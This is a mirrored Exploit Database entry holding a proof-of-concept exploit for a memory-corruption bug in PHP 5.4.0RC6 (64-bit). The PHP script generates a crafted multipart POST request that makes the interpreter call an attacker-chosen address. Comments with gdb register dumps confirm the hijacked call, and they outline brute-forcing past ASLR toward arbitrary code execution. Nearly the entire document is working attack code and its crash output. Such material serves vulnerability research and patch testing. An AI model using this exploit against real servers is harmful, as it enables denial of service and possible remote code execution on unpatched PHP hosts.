PHP 5.4.0RC6 (x64) – Denial of Service

• Exploit Database
• 21 阅读

• 作者： Stefan Esser
  日期： 2012-02-04
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18460/

• <?php
  /* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
   (C) Copyright 2012 Stefan Esser
  
   PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
   32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
  
   Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
   tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
   better exploit might be possible after deeper research + heap massage
  
   This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
  
  (gdb) c
  Continuing.
  
  Program received signal SIGSEGV, Segmentation fault.
  0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1, 
  __zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
  at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
  398					ht->pDestructor(p->pData);
  (gdb) i r
  rax0x7fd9583352a0	140571464389280
  rbx0x0	0
  rcx0x8	8
  rdx0x111111111111111	76861433640456465
  rsi0x7fd95a077b08	140571495070472
  rdi0x7fd9583352a0	140571464389280
  rbp0x7fff75c47ae0	0x7fff75c47ae0
  rsp0x7fff75c47a80	0x7fff75c47a80
  r8 0x7fff75c47bc8	140735169199048
  r9 0x1	1
  r100x6238396661373430	7077469926293189680
  r110x7fd962f4c8e0	140571644840160
  r120x7fd966b91da8	140571708038568
  r130x0	0
  r140xffffffff00000001	-4294967295
  r150x7fd964b10538	140571673953592
  rip0x7fd959ca5f9d	0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>
  eflags 0x10206	[ PF IF RF ]
  cs 0x33	51
  ss 0x2b	43
  ds 0x0	0
  es 0x0	0
  fs 0x0	0
  gs 0x0	0
  (gdb) x/5i $rip
  => 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>:	callq*%rdx
   0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>:	cmpl $0x8,-0x3c(%rbp)
   0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>:	jne0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>
   0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>:	mov-0x18(%rbp),%rax
   0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>:	mov0x10(%rax),%rax
  (gdb) 
  
  */
  
  	$boundary = md5(microtime());
  	$varname = "xxx";
  
  	$payload = "";
  	
  	$payload .= "--$boundary\n";
  	$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";
  
  
  	$payload .= chr(16);
  	for ($i=1; $i<7*8; $i++) {
  		$payload .= chr(0);
  	}
  	
  	for ($i=1; $i<8; $i++) {
  		$payload .= "\x11";
  	}
  	
  	$payload .= chr(1);
  	for ($i=16+48+1; $i<128; $i++) {
  		$payload .= chr(0);
  	}
  	$payload .= "\n";
  
  
  	for ($i=0; $i<1000; $i++) {
  		$payload .= "--$boundary\n";
  		$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";
  		$payload .= "aaa\n";
  	}
  	
  	
  
  	$payload .= "--$boundary\n";
  	$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";
  	$payload .= "aaa\n";
  
  	$payload .= "--$boundary\n";
  	$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";
  	$payload .= "aaa\n";
  
  	$payload .= "--$boundary--\n";
  
  	echo "POST /index.php HTTP/1.0\n";
  	echo "Content-Type: multipart/form-data; boundary=$boundary\n";
  	echo "Content-Length: ",strlen($payload),"\n";
  	echo "\n";
  	echo "$payload";
  
  
  ?>